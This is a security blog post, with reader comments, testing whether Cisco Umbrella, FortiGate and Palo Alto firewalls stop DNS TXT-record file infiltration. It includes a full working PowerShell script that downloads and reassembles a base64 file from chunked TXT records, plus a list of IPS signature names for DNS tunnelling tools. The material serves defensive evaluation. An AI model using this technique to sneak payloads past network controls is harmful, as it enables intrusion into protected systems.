For all testing purposes, I used my blog domain letsnet.eu, which has a good reputation. I created multiple subdomains with TXT records, where I stored a base64-encoded file.

A PowerShell script queries these letsnet.eu subdomains for TXT records. The script then decodes the base64 content, assembles the file chunk by chunk, and saves it to the desktop as file-down.txt
# Define variables
$Domain = "letsnet.eu" # Domain to query for data
$OutputFilePath = "C:\Users\pzwierzynski\Desktop\file-down.txt" # Path to save the reassembled data
$MaxChunks = 2000 # Maximum expected number of chunks
$EndMarker = "END" # Marker to signify end of data transmission
$ReceivedData = @() # Array to store received chunks
# Function to query DNS for data and log responses
function Get-DNS-Data {
param ([string]$SubDomain)
try {
# Query DNS for TXT record
$Result = Resolve-DnsName -Name $SubDomain -Type TXT -ErrorAction Stop
if ($Result -and $Result.Strings) {
# Log raw response to the terminal
Write-Host "Response from $SubDomain $($Result.Strings)" -ForegroundColor Green
return $Result.Strings
} else {
Write-Host "No data received for $SubDomain" -ForegroundColor Yellow
return $null
}
} catch {
Write-Host "Failed to query DNS for $SubDomain $($_.Exception.Message)" -ForegroundColor Red
return $null
}
}
# Download and reassemble data
Write-Host "Starting download via DNS from $Domain..." -ForegroundColor Green
for ($i = 1; $i -le $MaxChunks; $i++) {
$SubDomain = "chunk$i.$Domain"
Write-Host "Querying DNS for $SubDomain" -ForegroundColor Yellow
$Data = Get-DNS-Data -SubDomain $SubDomain
if ($Data -ne $null) {
if ($Data -contains $EndMarker) {
Write-Host "End of data reached at chunk $i." -ForegroundColor Cyan
break
}
$ReceivedData += $Data
} else {
Write-Host "No response for chunk $i. Stopping." -ForegroundColor Red
break
}
}
# Reassemble the data
if ($ReceivedData.Count -gt 0) {
Write-Host "Reassembling data..." -ForegroundColor Green
$Base64Data = $ReceivedData -join ""
$BinaryData = [Convert]::FromBase64String($Base64Data)
[System.IO.File]::WriteAllBytes($OutputFilePath, $BinaryData)
Write-Host "Data saved to $OutputFilePath" -ForegroundColor Cyan
} else {
Write-Host "No data received. Exiting." -ForegroundColor Red
}
DNS Protection Testing
Each vendor’s DNS protection capabilities were enabled. Let’s review the results for each solution:
Cisco Umbrella
As shown, file transfer via DNS was allowed by Umbrella. DNS request details were not visible — only the domain and the TXT record type were shown.

The recognized DNS category is “Uncategorized”, meaning completely unknown from Umbrella’s perspective and what is surprising, we cannot block uncategorized things (FortiGate and Palo Alto can block similar categories—of course, they may produce some false positives—but “unknown” should generally be considered risky):
Blocking uncategorized or unclassified domains is not possible in Cisco Umbrella because blocking this category would lead to a poor Internet browsing experience for users.
Source
FortiGate
FortiGate, similar to Umbrella, logs queries for TXT records but without details.

However, I found a relevant App Control signature to detect this technique:
🔗 AppControl ID 39624
Fortinet claims:
The signature detects such requests at a rate of 100 requests within 1 second. The rate can be adjusted in the CLI.
I tried reducing the rate to identify my test traffic, but had no success. Even if possible, FortiGate’s App Control is quite difficult to use in production — you cannot select specific applications to block/allow, only whole groups.

Palo Alto NGFW
As seen, the traffic was allowed but correctly identified as DNS Tunnel Data Infiltration Traffic.
The traffic wasn’t blocked because the default action for the signature is set to Alert.

Conclusion
As we can see, not every vendor delivers on their protection claims. None of the tested solutions blocked the infiltration technique, although if visibility was provided, I’d say the behavior was correct.
All vendors claim to offer protection against DNS-based infiltration. Sending files via DNS is a slow process — my test file was only 8 KB, so the download was quick. It’s possible that protections might kick in for larger files or longer infiltration attempts, but setting up such scenarios for testing is quite complex.
In my next blog posts, I’ll test protection against the opposite direction: DNS exfiltration.
Hi there,
In FortiGate’s App Control Application and Filter Overrides section, you can associate specific actions to an Application Signature.
The use of Custom signatures is also possible.
Hi,
Sure, you’re right — but there are other things. FortiGate matches traffic based on L3/L4 first, and then applies security profiles, which makes granular application control difficult to apply.
Policy-based mode allows direct matching at the application level, but it’s not well documented, limited comparing to profile-based, I would not recommend it.
In regards to FortiGate
– create new “Application Control” sensor
– under “Application and Filter Overrides” add and block DNS.TXT.Records.Tunneling
– add the new Application Control sensor (and/or IPS sensor – see below) to your firewall policy that allows DNS traffic. This should help mitigate DNS TXT Tunneling attacks
Also you could implement custom IPS sensor. Some IPS Signatures and Filters to look into and block:
– DNS.TXT.Records.Tunneling
– DNSteal.Data.Exfiltration
– Dnscat2.DNS.Tunnel
– Generic.DNS.Tunnel.Detection.Variant.A
Hi Jan
I tested it with App Ctrl configured to monitor all applications, nothing was identified, same for IPS. Probably it is working when well known tools are used.